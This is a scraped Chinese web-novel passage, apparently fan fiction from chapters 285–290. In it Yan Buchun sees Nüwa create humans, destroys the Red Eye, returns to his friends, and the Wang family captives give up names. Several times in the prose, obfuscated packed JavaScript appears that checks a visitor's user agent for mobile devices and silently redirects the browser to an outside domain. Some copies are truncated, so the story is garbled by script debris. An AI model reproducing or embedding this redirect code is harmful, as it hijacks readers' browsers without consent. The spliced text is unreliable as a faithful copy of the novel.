他错愕地睁眼，却发现原本一望无际的黑暗空间如今变成了开遍野花鲜草的平原，漂亮的女人正用手随意捏着小泥巴人，而蜿蜒的蛇尾则摆动在山间沟壑里。 衍卜寸不曾会被这样的光怪陆离所震撼，可面前女娲造人的模样，却是切实呈现在眼前的。 伏羲伴于女娲的身侧，懒散地卷着姐姐的长发玩，而女娲手中的泥人也在二人之间的温和气氛中，初具了人类的模样。 “姐姐，捏他们做什么，出来也都是一帮没**的野猴子叫两声一眨眼就死掉了。”伏羲戳扁了女娲新捏的泥人，指尖在对方的掌心中划拉。 女娲歪了歪头，并不气恼于伏羲的反应，只是含着笑容，将那被按成饼的泥又重新捏起来，“你不觉得，这个世界上多些小家伙会更热闹吗？” 在远处听了一会儿的衍卜寸，确认她们看不见自己，便提起步伐靠近了些许。 “让那些天将热闹不就行了吗？他们天天都闹哄哄的还不够啊？而且，这群小泥人除了吱哇乱叫什么都不会，我不喜欢他们。”伏羲并不理解于女娲的坚持。 但女娲只是将泥人重塑，随后掰下自己的鳞片，又揉碎了些许，将其放在了初代人类的身体里，而得到女娲力量滋养的小泥人很快拥有了健康的小麦色皮肤，并在睁眼之际，就和过去的泥人迥异起来。 他用以惊恐的目光看着面前这个如庞然大物一般的女娲。 这是人类第一次拥有了恐惧的情绪，也令原本并不赞成于女娲行径的伏羲大受震撼，“他，他怎么没有叫，还这个表情！” “我给了他看到、听到、闻到和触碰到这个世界的能力，也给予了他产生情绪的能力，你说现在好不好玩啦？”女娲将手里的小人放在地面上，而小家伙立刻连滚带爬的跑走，更在冲向衍卜寸时，直直穿透了他的身体。 而衍卜寸，则在这个瞬间里，感受到了身体里力量所对这个同类的共鸣。 待心脏处抽动后，连同呼吸、听觉等各类感官，都开始重归灵敏。 直到女娲将一个又一个新的泥人放下，令这些家伙穿过自己时。 他这才发现，自己竟然真的在逐渐恢复五感。 衍卜寸听到了雀跃的鸟鸣，低头便见翠绿色的绵延草地，抬头仰望远古巨龙于空中跃动，空气里荡漾的是新土翻飞的腥，脚下踩着的是刮过脚踝带有湿润露珠的叶片…… “为什么要把这些还给我？”衍卜寸不解的对着隐秘在苍穹中的红眼发出疑问。 而对方只是轻眨着那向来毫无情感的眼睛，任自己的声音，再次从周围朝衍卜寸袭来，“因为你是被选中的人。” “什么意思？”衍卜寸听不懂它的暗语。 红眼则将那些过去的盛景挥开，让环境重归黑暗，以此让自己的音色更清楚，“最开始，女娲创造的人，并没有七情六欲，伏羲也不喜欢这群傀儡，于是，女娲决定用自己鳞片里所蕴含的力量，来赋予人类对于自我和这个世界的理解。” “所以，选中我的意思，是女娲失败了吗？”衍卜寸刚问，又发觉自己说的不够清楚，于是补充着，“或者，是这些被给予力量的人，后来发生了什么才让你们做出这样的决定？” “战争。”红眼说着，将眼前的空间再次变换。 草原上不再有鲜活的生命，拥有超脱于普通生物智慧的人类，开始试图站在世界顶端，并且对低等的动植物杀伐。 并且，用搏斗的方式，来规划他们对个人领地占据的区域。 鲜血与生命，毫不留情的泼洒在这片滋养过他们的土地上，拥有欲望的人类的贪念，似乎永无止境，从最开始的合理用武力决斗的争夺，到最后，变成利用人数优势等各类因素影响的强盗行为。 简直是天下大乱。 衍卜寸这回倒是明白，为什么红眼会诞生，并且想让更多的人类来交易了。 于是，他在看完这些后，便接着它的话讲，“所以，自 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衍卜寸抬头，看到它那猩红的已经附着了层薄膜的眸子，竟有着自己未曾想到的悲悯。 “但万幸的是，你证明了人类的价值，证明了哪怕剥离所有的感官，只保留原始欲望的自己，仍然不会对我们的欲望引诱而臣服。”红眼欣慰的眨眼，“这样的你，哪怕令分身重组后，也仍然怀着守护之心……” 这么听着，衍卜寸便见面前出现了张祈灵的脸庞，这是迟来的嘉奖吧？ 但不知怎么，张祈灵竟在哭，那滚烫的热泪砸下来时，让自己即刻知道，最开始的那场雨究竟是从何而来的。 衍卜寸快速的往前走了一步，想要触摸张祈灵，叫他不要为了自己这样的家伙而流泪。 却在下一刻，看见张祈灵的余光视线里出现了一只手，衍卜寸目光一定，才发现那是曾经被张祈灵保护的最好的吴峫。 而对方正以最坚定的模样，站在自己神明的身侧。 “你看到了吧，他们的人生还在继续，所以，用只有恶念的躯壳，怀揣着这样漂亮的守护之魂的你，也应该回到他们的身边。”红眼这么冷漠的像机器人般说着。 可衍卜寸却分明听出了笑意。 但很快，它眸子里的亮色，因为能量即将耗尽，而开始变的黯淡，声音也低沉沙哑起来，“虽然，上面让我做的使命已到了尽头，我也说清了人类的欲望并不是与生俱来的这件事，但我还是由衷的感谢你， 因为衍卜寸，你是人类能够存活下去的希望，你是异类中的共通者，是连接我们与这个世界的锚点，很感谢你用行动告诉我们，关于人类的价值并不只有欲望的操纵。 你用一千多年的时间，让我们清楚的明白，你最会的便是守护，所以，祝你永远伴在你爱的和爱你的人身边。 衍卜寸，有很多人在等你。” 他们在等你…… 回家。 第286章 欢迎，回家 但被赞誉到如此地步的衍卜寸，并没有露出笑容，他只是平静的反问红眼，“陨铜现在是完全和我融合了吧，现在要怎么出去？” “是。”红眼承认衍卜寸的第一句话是对的，便继续回答，“用你被陨铜赋予的红线，去撕破面前的空间就可以。” 衍卜寸确认了出路，便将头扭了过来，看着那高高在上，似乎真的悲天悯人的红眼，竟破天荒的笑了出来。 随后，衍卜寸直接将红眼瞳眸拧出的红绳扯住，只将它的眼球拽的从眶中脱落，而那些恶心的鲜血，则不断于它的后方流淌出来。 “你这家伙，不会真的以为，我是个会开心接受你夸奖的人吧？”衍卜寸说着，便将自己的红线狠狠如利剑般刺入。 但就是这样的攻击，让脚下红眼的鲜血直接喷溅在了他的脸上，而那双平日里稍许黯淡的眸子并没有任何的畏惧，甚至，在此刻染上了显而易见的愤恨。 随着衍卜寸的红线不停的下落，就像是冰山大地震后的锥，砸地红眼的身体已经因为血液透支而变得干瘪。 此刻衍卜寸的表情很是平静，可说出的话，却近乎是对红眼所作所为的咬牙切齿，“为了补全过去神明的错误，便让无数的人牺牲，有的人的欲望来自于本身，有的人的欲望来自于保护，这么多年以来，你们仍然不清楚这之间的界限。” 他的攻击越发猛烈起来，可红眼的生命力很是顽强，竟然还能够让自己的红线抽搐于身侧。 “或许你不记得除了我以外的人，但普天之下，无辜被牵连的人，却不是少数。”衍卜寸说这话的时候。 想到的是明明只想要鄢然长命百岁的鄢啸南，是失而复得向阳而舍不得放弃的朝旭，是拼命想要活下去的衍桂福。 是千千万万，因为看到了神明所赐之福祉，而被放大欲望，所扑拥上去，为身边人去谋得一线生机的可怜家伙。 衍卜寸如果从未看过女娲造人时的场面，和后面红眼洋洋自得的说自己被选中的话，还不至于如此的气愤。 以单一例子去证明人类的命运归属，完全就是个天大的错误。 也许，人类如果从一开始，根本没有触碰神明的权利，那么野心与欲望产生的恶果，自有他们自己的方式去结束。 “天上地下，皆有王法，无论是创造出人类，还是作为人类的我的家人、朋友、陌生人，他们都有能力去决定自己这一辈子的路该怎么走，所以，你们想要用我来证明人类存亡的这个实验，简直错的离谱。” 衍卜寸收了些力气，拎着红眼后方的血管和杂七杂八的红线便往前面走。 “所以，我凭什么对你们感恩戴德，既然想看看人类是怎么活的，那自己来看就好了！”衍卜寸撕破整个束缚自己的空间，将红眼也拉扯出来。 原本处于对陨铜进行刺激实验的渡荆，突然在仪器炸裂后紧急撤退。 而躺在实验台上，那封住衍卜寸的陨铜片正散发着刺眼的光芒。 张祈灵等人快速闻声赶来。 可停步，便见到由陨铜为中心，开始重新幻化出属于那个人的血肉。 所有人的脑子里都有一个想法，那就是衍卜寸完完整整的回来了！ 张祈灵赶紧趁衍卜寸已经恢复好躯壳，立即快步上前，可一时之间却不知道该碰哪里。 而渡荆摸着自己快跳到嗓子眼的心脏，被胖子连着顺了好几下背，才没让这个年纪的自己被刺激的差点撅过去。 但衍卜寸并没有急于发声，只是将红眼的尸体放下，并用衣服内侧擦好手后，才敢探出指尖，轻触张祈灵的脸颊。 那里仍然是自己在空间里感受过的湿润和滚烫。 神明竟为这样的自己流过泪， 衍卜寸保证自己是全天下最幸福的人了。 “欢迎，回家……”张祈灵不会说祝福语，一连几个字嘴上都打着的结巴，而且眼眶也又酸又难受的。 可反观衍卜寸，却笑的很是温柔，因为从未亲眼见过张祈灵眉眼的他，正借由已经恢复正常的眼睛，细细的小心翼翼地打量对方的模样。 张祈灵清冷的眸子如今含泪，眼尾还泛着这个强大的守护者，这辈子少数情况下才会有的红晕。 很好看，比那只是灵魂状态的白更美，也更加生动和鲜活。 衍卜寸抿唇，压抑住几乎想要亵渎对方的冲动，只是将张祈灵的泪擦了个干净，并在吴峫等人忍不住一拥而上，七嘴八舌的嚎啕时，赶紧快速的拽住了张祈灵的一片衣角，以保自己不再会弄丢对方。 “衍卜寸，欢迎回家！”黑瞎子在一侧尾音高昂的叫，并和王盟拉着不知道衍卜寸归期，但早就备好的礼花。 随着嘭的一声响后，五颜六色的彩片，近乎将处于中心的张祈灵和衍卜寸的身影掩盖。 吴峫拍着衍卜寸的肩膀，才想要关心一下对方死而复生的感受，便感觉到了脚底的滑腻腻，这让他的笑容变得有些僵硬，“对了，卜寸你带过来的这个东西想怎么处理？” 原谅吴峫，实在不能从黑瞎子和王盟那破礼花的覆盖下，看出这家伙的死活。 衍卜寸听后并未有隐瞒，实话实说道。 “它就是造成一切悲剧的家伙，不过我没完全杀死它，给它留了一口气，带回来就是想让它看看人类也没那么差，不用担心，到时候它自己就**。”衍卜寸感觉脑袋刺痛，便揉了揉太阳穴，“我们先出去吧，渡荆的实验室还需要收拾。” 胖子连忙拿起扫帚清理了一下地面，“那就先出来吧，别跟产卵似的蛋挨蛋！对了，卜寸小同志，你饿不饿啊？待会想吃啥，你说就完了！就这地界，想吃啥都有！想睡觉的话，我那床都给你铺的服服帖帖的。” “我不饿的。”衍卜寸摆手，“但确实有点困……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“很安全。”小哥按着张祈灵的肩膀，用相同理解的思维大脑，去补全张祈灵的意思。 可张祈灵向来是一个内耗的人，他看着衍卜寸毫无醒来的迹象，便想着，如果自己不去汪家大本营，也不会让衍卜寸走一趟鬼门关。 可护着吴峫，又是自己的第一准则，怎么算都是自己不对…… 张祈灵抿着唇，脑子里一团乱。 而被吵的头大的清如，只是将手上看瞳孔扩散的手电筒一撂，“秀秀，把这些人给我请出去！” 霍秀秀在这些天里和清如的相处，让彼此之间的女性友谊进展了很多，所以，她可是对清如这个医学界的中医大夫欣赏极了，于是连忙拿着拖把就开始赶人。 “都出去，消停会儿吧。”霍秀秀没有动粗，只是将拖把的棍子架起来，把人都逐出去后堵住了门。 吴峫手忙脚乱的想要把霍秀秀的棍子按下去，“那我们也得知道卜寸的情况吧！” “他只是太累了，要休息。”清如把被子从柜子里抱出来，给衍卜寸又盖了一层。 这话听的黑瞎子嘴角抽了抽，“所以，合着看了那么久的病，结果这人就是困到睡着了？” “你可以这么理解。”清如一本正经的点头道。 第287章 你也好 虽然清如是这么说的，但显然衍卜寸的情况只有他本人知道。 那庞大的信息量，就跟旁观了宇宙的**以及重启没有区别了，所以在这巨大的人类起源里，衍卜寸的大脑储存已经到了极限，而原本的红铜门是能够在出门之际排除掉这负荷的。 但门已毁，红铜门对于自己那方势力的维护力量已然减退，才会让衍卜寸这样，直接因为承受不住而晕了过去。 待两天后，衍卜寸才醒了过来。 “生命体征正常，瞳孔有明显缩放反应……”清如还在向众人说衍卜寸的情况，就见对方直接拔了输液针，从病床上翻了下来。 张祈灵眼疾手快将人按住，而衍卜寸对视上张祈灵的眼睛，才让这些时日里反补过来的迟钝，以及恐惧有所减退。 没有人是会一直强大的，只是没有撑到所有弓弦拉满，致使即将崩断的那个份上。 但现在，衍卜寸已经到了撑不住的状态。 他神情疲惫的窝在张祈灵的怀里，劫后余生的欢喜，与那滚烫的泪一并打转在眼眶中，直将人酸的哽咽。 “噩梦？”张祈灵努力去理解衍卜寸的哭泣，不过显然他错了。 可衍卜寸显示软弱，但并不会承认自己的情绪，他向来是个在衍光善教导下坚持硬骨气的人，所以立即仰头，用已经被换新的衣服袖口抹了一下，收回了那泪光。 紧接着才摇头，否定道，“没做噩梦，就是睡太久了，眼睛干的疼。” 张祈灵大概听懂意思，便顺着衍卜寸的后背拍了拍。 而这几天，围在门口的吴峫等人，显然知道衍卜寸对张祈灵的意思，所以才没有过多的去打扰，只停步于病房前，看着两个小可怜抱在一起。 半晌，衍卜寸终于将情绪整理好，才脱离了张祈灵的怀抱，可心底里是真的开心，无论张祈灵是以友情出发还是怜悯，衍卜寸都觉得是天大的恩赐。 胖子看到衍卜寸状态稳定，连忙一个挤身就进来了，“卜寸小同志，就等着你醒呢！想吃啥啊，告诉你胖哥哥，给你列菜谱，满汉全席都做上！” 热情的胖子可是想做团圆饭老久了，而且过去都不怎么知道衍卜寸的口味，都是按照大部分人做的，连衍卜寸没有味觉，也是他提出来才知道的。 但胖子并不知道衍卜寸的味觉现在恢复了，却还是积极的，给了他主观认为没有味觉的衍卜寸最大权利。 衍卜寸的唇抿出了好看的弧度，“不能忙到胖哥哥，做大家喜欢的就行了。” “哎呀，你这小伙子怎么听不懂呢，让你定菜，就是想让你点自己喜欢的……”胖子絮絮叨叨的在衍卜寸的耳边说话。 吴峫见衍卜寸没有不耐烦的情绪，但还是和张祈灵一同将衍卜寸扶了出去，并解释着，“胖子就是看饭点到了怕你饿，你现在想去哪里？我和祈灵带你去。” “想……晒太阳。”衍卜寸看着落地窗处投下的阳光。 解雨臣看着张祈灵和吴峫没手推门，于是赶紧和黑瞎子按住把手，将其打开。 黑瞎子完全是因为解雨臣动了，才搭把手的，他挑了挑眉，对着即将出去的衍卜寸道，“真没想到，有些人醒来的第一件事就是找人。” “是找阳光。”衍卜寸知道黑瞎子的调侃，便立即驳回。 黑瞎子倚在门框上，目视着衍卜寸还有一左一右的张祈灵和吴峫，带着人在躺椅处歇息，甚至张祈灵还往返跑了一轮，将自己的小被子盖在了衍卜寸的身上。 虽然还未情窦初开，但这焦急劲儿，还是让作为老父亲的黑瞎子从中觉得自家白菜被拐走了。 显然，一直沉默着站在黑瞎子旁边，视线远眺的小哥也是相同的见解。 不是不同意衍卜寸对张祈灵产生情分，因为衍卜寸也是个顶好且体面的人，但对于未懵懂初开的张祈灵来说，他现在还无法理解衍卜寸的爱，便给予了其他情分的回应，只会让衍卜寸越陷越深。 而衍卜寸又是个向来不放手的人。 好像身体里有陨铜的家伙，都带有那样令人无法达成共识的偏执。 那方的衍卜寸看着久违的太阳，感受着落在身上有些暖意的光，唇角的笑意又多了几分，他再也不用担心，自己 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他靠着张祈灵近了些，让那原本清冷的眸子此刻靠神情而尽显无辜，“阿祈，我还是怕。” 张祈灵愣了一下，似乎不懂为什么吴峫他们这样一哄自己就好，而衍卜寸则是越要越多。 但作为场外人的黑瞎子，却是看懂了衍卜寸撒娇的手段，其实这俩人都一样，只要得到一点点爱，就会不断想要更多。 只是张祈灵不愿脱口，而衍卜寸则会引导着说出彼此的想法。 黑瞎子架着胳膊，指尖轻点， 也许，这也可能只是自我见解。 而衍卜寸见张祈灵还是不懂，便立马撑起身子，给了张祈灵一个大大的拥抱，下巴还蹭着张祈灵的肩膀说话，“阿祈好，阳光好，真好，回家真好……” “你也好。”张祈灵学着过去衍卜寸的习惯，将他的头轻轻地摸着，却不知这无心之言，让衍卜寸在他看不到的角度里，笑的更加毫不遮掩。 第288章 叫哥哥 张祈灵很少会对除吴峫以外的人那么纵容，而衍卜寸的忠诚，证明了他隶属于是这一切之外的存在。 不过，亲密的时间并不长，衍卜寸并非是真的死皮赖脸要耗在张祈灵怀里的人，毕竟适时的柔弱叫撒娇，多了便会成为张祈灵无措的负担。 衍卜寸想要循序渐进，而并非让张祈灵立刻对自己产生超脱友情外的感动。 “好了阿祈，我现在是真的饿了。”衍卜寸将眸中那些将要溢出来的爱恋收敛住，只唯恐吓到张祈灵。 但显然，张祈灵并不懂得衍卜寸一闪而过的真情流露，只是用自己的被子将对方整个卷住，并且抱住腰身，打算将人扛进屋里。 惊得原本还在盯着张祈灵的衍卜寸，险些将自己的心吓的吐出来，他连忙踩稳躺椅，将被子攥的更紧，恨不得能把头也埋进去，“我，我能自己走的。” 可听到衍卜寸如此婉拒的张祈灵，并不明白前脚还被自己和吴峫扶着走的衍卜寸，怎么突然硬气起来了。 于是，张祈灵思来想去，眸子深了几分，便还以为衍卜寸是在硬撑。 “抱的住。”张祈灵说着，便张开手，而那正经的什么都不懂的模样，让衍卜寸心里头的愧疚感更深了。 本想要张祈灵多关心自己，结果人家当了真，恨不得将自己照顾的服服帖帖，可衍卜寸并非真的那么窝囊到走不动路的程度。 今天张祈灵敢抱自己，衍卜寸却不敢承这份恩。 毕竟，神明有着对情爱之事完全不通的脑袋，衍卜寸再应下去，才是趁人之危的那一个。 “哎呦，来来来，我抱吧，祈灵小兄弟，你得注意注意啊知不知道？”胖子一伸手，便将衍卜寸跟粮袋似的架在肩膀上了。 衍卜寸刚想要挣扎，就被胖子宽大的手掌直接拍上了屁股，胖子看破不说破的笑道，“刚说祈灵小兄弟了，没说你是不是？这太阳也晒够，美人也看了，肚子也饿了，祖宗可以消停会儿了不？” “胖子你这样抱我，阿祈会觉得我没骨头的……”衍卜寸的声音很小，生怕被后面的张祈灵听到。 可只一眨眼，便见张祈灵已经被黑瞎子和小哥拐去翻地了。 而胖子则一副笑眯眯的模样，似乎早就知道黑瞎子会带着人去做思想工作般，扛着衍卜寸就慢悠悠的朝着别墅里去了，“这是什么话？我感觉我家祈灵小兄弟很吃你这一套啊！” 衍卜寸被胖子放在了铺好的床上，还来不及从被子里挣扎的衍卜寸当即便愣在了那里。 “有吗？我表现的是不是太明显了？”衍卜寸用食指挠了挠自己的脸，罕见地出现了羞涩和尴尬的情绪。 而胖子捞了把椅子，直接坐在上头，一拍大腿，恨铁不成钢，“何止是明显！除了祈灵小兄弟所有人都看出来了！” “幸好幸好……”衍卜寸摸着自己的胸脯顺着气。 但八卦上头，为衍卜寸着想的胖子可是急的够呛，“好什么呀！就他一个关键人物看不出来，你装半天不是竹篮打水一场空吗？！” “能被阿祈那样对待，真的很好了。”衍卜寸抿着唇，耳尖微红，“而且，我觉得我已经很幸福了。” 胖子比着手势，食指和大拇指掐的那叫一个小，“就这么一捏捏你就幸福了？卜寸小同志啊，追人不是这么追的！你这是无效的方法啊！” 可衍卜寸却只是摇头，紧接着，目光从二楼的飘窗越到外面，幸好上面并没有剥夺他的感知力，所以，他能够清晰感受到那个被自己牵挂之人忙碌的身影。 而耕完地的张祈灵，突然察觉到一股莫名的视线炽热的落了下来，他抬头，看着明亮的太阳，在打量之后却并没有发现别的事物。 “吴峫和花儿爷去采买了很快就回来了，不用担心。”黑瞎子拿着浇地的水管，用胳膊肘怼了一下张祈灵，假装不经意的展开话题。 而张祈灵很快将视线落了回来，看着已经翻新的地面摇头，“没有。” 习惯于听张祈灵说半句话的黑瞎子挑了下眉，再度凑近了几分，却很快被一只手阻拦住。 小哥将黑瞎子与张祈灵的距离扯开，气压低的厉害，“浇水。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482617|163500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “浇着呢，浇着呢！我可没闲着，就是和祈说两句话。”黑瞎子甩了甩水管，吐着舌头回答小哥。 肉眼可见，小哥面色又黑了一个度，“浇多了。” 黑瞎子这下是真听明白了，就是嫌自己可着一个地方待碍眼了呗！于是，他往后撤了两步。 “换地方浇了，不会让人家清如小姐姐的药材被我弄毁，好了吧？”黑瞎子真是许久未和哑巴这么近距离待过了，现在才晓得小哥对张祈灵的占有欲那也是实打实的。 而不明所以的张祈灵，很快被小哥扯到了阴凉地待着，他疑惑的看着小哥攥住自己手腕不松开的架势，却也不敢多说什么。 半晌，沉默寡言的小哥才将张祈灵的肩膀也转向自己这边，对方神情专注的，让张祈灵以为自己是犯了错。 “对不起。”张祈灵下意识便脱口而出了。 只见，听了这句话的小哥将眉头蹙的更深了。 张祈灵抿唇，小心翼翼地打量小哥的反应，却见下一刻，对方的手抬起，吓的自己下意识缩脖，可几秒后，他感受到的，便只有小哥顺着摸了几把的轻柔力道。 “启灵。”张祈灵的声音很小。 小哥的摸的突然重了一分，“叫哥哥。” “哥哥。”张祈灵跟着唤了声，却并不清楚其中这个身份所带来的分量，更不懂此刻小哥的眼神。 而如果站在这里的，是作为多年读灵机的吴峫一定能看出，那是小哥对于同样快速成长的自己，略显惋惜和欣慰的表现。 惋惜长大所带来的痛苦，以及欣慰于多年奋战所带来的积累。 可其中一分，还有吴峫不会懂的地方。 张祈灵瞳孔骤缩，赶紧合眸，不理解小哥为何将指腹压按在了自己的眼皮上。 可接下来，小哥的话，也是令人听不懂的云里雾里，“要学会，才能去……” 黑瞎子在不远处将水闸拧上，看着自己呲出来的小彩虹笑了起来，并在心里，偷着补全哑巴的未尽之言。 要先学会爱，才能去爱。 第289章 自由 就在衍卜寸休息的这几天里，被带回来的汪灿和汪小媛也已经苏醒，只不过是因为闭口不言，而被塞进了地下室里。 吴峫和解雨臣在采买当日胖子要用的菜后，便回来并去了汪灿那里。 地下室的环境算不得什么阴暗潮湿，只是别墅地处北方，导致其底下的温度比较冷。 带头的吴峫视线一瞄，正巧和被绑在一起的汪灿和汪小媛对视上，对方看样子精神头倒是还不错，因为汪灿愤怒的眸子正在如饿狼般盯着来人，像是想将吴峫和解雨臣揍一顿。 不过汪小媛的态度就显得平和太多了，甚至于那精致的脸上完全没有任何的情绪。 “我想你们应该知道，我带你们回来的目的，只要供出剩余的汪家人，还能有一条活路走。”吴峫抬步，靠近了几分，尽量让自己的表情保持在一个同过去相同的温柔模样。 可大抵，十年风霜的灵魂已经揣不进这个尚且稚嫩的躯壳了。 吴峫的掩饰，竟让汪灿看后直接冷哼笑出声：“谁人不知，吴家小三爷跟着你三叔成天走南闯北，老狐狸带小狐狸，您的话我要是信了，那是对不起现在汪家还活着的人。” “你还是想的太多了。”吴峫看清了汪灿不吃苦头不罢休的态度，脸色便一下子变了不少，可后头的解雨臣却赶紧箍住了自己的肩膀。 解雨臣摇头，提醒吴峫现在最主要的目的，“他们如果还不说，我们放下今天的饭就走，汪家那边有头有脸的，我印象里还有几个。” “早说早解决，现在祈灵还有卜寸都要养身体，如果动作不快些，我怕照顾他们的时间会变少。”吴峫的眸光，在解雨臣的视野里明显的晃动了一下。 吴峫并不避讳于向解雨臣表达自己的情绪，“我已经迟到太久了，也让他们孤军奋战太久了，小花，你应该知道我在顾虑什么。” 正因为儿时的相处，才让吴峫相当明白，解雨臣从不会是一个喜欢嘲弄自己的人，所以他才会将内心所想和盘托出。 而解雨臣的目光，在吴峫的眼睛上凝定了半秒，随后快速移开。 “听你的，按你的方法来。”解雨臣妥协了，他实在没办法对一个心怀愧疚的吴峫说一个不字。 随后，汪小媛见吴峫气势汹汹朝自己这边来，只感觉对方周围的气场骤变，哪里还有汪家所了解到的小绵羊模样。 随即，她赶紧抢在吴峫动手前叫道，“我说，把纸和笔给我，我现在就写！” “汪小媛！”汪灿没想到她怎么能投诚的这么快，一时气急便喊了大名。 可汪小媛的态度也是不遑多让的气恼，语气又冲又急，“大本营都让人端了，现在还有什么好维护的！不过就是剩下几个康巴洛人，还有余党，用他们的命换我们的自由不好吗？” 汪灿骤然一愣。 他早已用二十多年的时间，让自己的骨头里浸透了汪家的腌臜，并在暗无天日之地，日复一日年复一年的去学习**的技巧，甚至，他为了这份岌岌可危的荣辱与共，还在长久的保持那令人作呕的浅薄体面。 可现在…… 这份迟来的自由，终于在还未醒盹的此刻，给了自己一记响亮的耳光。 “自由？”汪灿喃喃的念着，这在嘴里咀嚼过的字眼，竟是从未有过的陌生。 半晌，他才忍住激动所带来的兴奋颤抖，从过去凤凰纹身的痛苦针刺中，感受到回归现今平和的全手全脚。 吴峫看到俩人的态度松动，便赶紧去扯了纸笔放到他们的面前，并且将绳子解开。 这一次的他，并没有带有令汪小媛恐惧的低气压，连唇角的弧度也是过去一贯的谦逊，“汪灿还有汪小媛，我代表九门，万分感谢你们对九门的帮助，在写完名单后，我会给你一笔谋生的钱。” 汪灿很快将吴峫的话听了进去，并且在汪小媛之前抢过笔，将汪家以及康巴洛人的名字都写了个清楚。 而在停笔后，汪灿起身，将纸放到了吴峫的手里。 “虽然九门与汪家的恩怨在今日往后就会彻底结束，但我还是想说……”汪灿的眸子眯着，笑起来的模样，终于配上和他名字一样的张扬，“汪家看错了你和你的朋友，你们比九门里的所有人都要强大。” 在这个过程中，吴峫触碰到了汪灿的手，莫名的感受到了异样，他摩挲着指尖，不过思考不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而衍卜寸也觉得汪灿这个反应很神经病，“在汪家的时候，你又不是没有看到我的身体报告，我能看到人身上的红线，你的手腕上就有一条，虽然很粗很长，但是很模糊，汪小媛也有，只不过她的比较细而且很清晰，所以她自己就能找到，我才没拦住她的。” 顿了顿，衍卜寸将情绪稳下来，继续说道，“我的意思是，如果你想要找到你在追寻的事物，可以听听我说的话……” 第290章 无法复刻的幸福 与此同时，跟兔子一样从别墅里窜出来的汪小媛，却被黑瞎子所截住了。 而停止劳作的张祈灵，则回以沉默的视线看着她。 被黑瞎子刻意拦臂堵路的的汪小媛自然是没什么好脸色，更不懂为什么对方要这样做。 “吴峫同意我离开了。”汪小媛的言外之意就是自己可以走了，并提醒黑瞎子这样的阻拦纯属是没屁搁愣嗓子。 不过，在一旁的小哥也确实没有悟懂自己这个南瞎北哑队友的想法，但只有黑瞎子知道…… 黑瞎子将汪小媛的手腕拽住，反复的看着那尚且细小却有韧劲的红线，他清楚，自己未来会收的那个蠢笨的傻徒弟苏万，连同另外两个小家伙，估计是与自己这样的人无缘了。 虽然称不上有什么寂寞的，但总归还是觉得心里空落落，后半余生缺了几个闹人的孩子，总归是不太习惯。 就在黑瞎子思绪飘远之际，汪小媛使劲将黑瞎子的手甩开，完全不懂对方所谓睹物思人的恶趣味，“你应该庆幸，现在的我没有枪。” “小姑娘这么凶可不好，日后得多些耐心啊，说不定还要辅导人功课呢。”黑瞎子说这些的时候，视线仍然定在那红线上。 瞧得汪小媛起了一身的鸡皮疙瘩。 而观察半天的张祈灵终于是明白黑瞎子惋惜的点了，只有在那个时间段还在门里的小哥不明所以的看着他们一来一回的互呛，只觉得**味重的很。 不过，黑瞎子最后还是放汪小媛离开了，甚至帮人在郊外叫了一辆信得过的车，但目光还是一直追随着她的背影。 张祈灵没有想过，黑瞎子是如此念旧的人，而黑瞎子更是不知道，张祈灵正在努力去理解他对于黎簇、苏万和杨好三人的感情，直到，张祈灵如此专注的神情被小哥看了个十全十，才被制止住。 “入夜，风冷。”小哥将自己的外套脱了下来，披在了张祈灵的肩膀上。 并不觉得冷的张祈灵眨了一下眼，想要说自己不冷，但转头就看到了小哥认真的模样，一时之间竟舍不得拒绝这份关心 最终他还是轻点头，准备将黑瞎子也给劝回去，结果就看到黑瞎子摆手，示意自己要吹一会儿冷风。 索性，张祈灵在小哥的陪同下回了别墅里。 可刚一入玄关，抬眼就看到了才恢复过来的衍卜寸正拉着汪灿在说话，其炸裂事件程度，不亚于刚才流里流气的黑瞎子突然变得正经起来。 “据我的经验来讲，不论你手上的红线指向何方，它对你都拥有着命定的因果缘分，我的建议是，我可以陪你去找。”衍卜寸的一番话，却并没有将汪灿唬住，毕竟在场的人都清楚衍卜寸从不是一个对敌对势力热心肠到亲力亲为的人。 张祈灵走近，坐在了最后一段沙发上。 其实经历过这些生死存亡危急时刻的大家，都明白衍卜寸提出想要帮忙去找，无非只有一个目的，那就是红线的指引大部分都是那个势力所带给这个世界的东西，可能是好的，也可能是坏的，可无论如何，能够彻底歼灭，将其扼杀在摇篮里，就是最快的方法。 只是汪灿这个人实在难搞的很，在没有汪家的控制后，可谓是脊背挺起来了，谁都不服。 更因压抑已久的狂妄终于得到了释放，而根本不想再被命令。 所以衍卜寸知道这人的性格，便用了最大限度的温柔，体面的将这个事情的先哄着讲出来。 汪灿架着胳膊，沉思了一下，但很快便抬起了头，“所以，你能确认，我想要的东西就是你所说的红线的源头吗？” “很抱歉，我并不能知道尽头所拴着的是什么，但大概能够知道，那应该是你最想要的。”衍卜寸此话说的谦逊，可清亮的眸子却一直盯着汪灿的眼睛，像捕食者锁定猎物一样，根本不给对方任何逃避的机会。 吴峫也立刻看出了衍卜寸想要连根拔起的想法，连忙乘胜追击，“路上的费用我们全包了，你的安全我们也能够保证，现在九门里的各类高手都在这里了，而且，在你供出名单后，如果单行很容易被汪家查到位置不是吗？” “可汪小媛也是你们放走的不是吗？我如果看中的只是钱，就不可能会在刚才你们拿卡的时候拒绝……”汪灿摩挲着虎口，“不过，衍卜寸虽然你说的我不信，但我反正现今还没想好做什么，陪你玩一玩也可以。” 这话就是答应了，难啃的骨头解决了，大家都松了一口气，连胖子也把压在汪灿肩膀上的手给移开了，并打着哈哈，“吃饱了才有力气出去，我先去做饭了，汪灿啊，你有啥忌口的不？” 汪灿真是在汪家吃惯了堂食，一时之间不 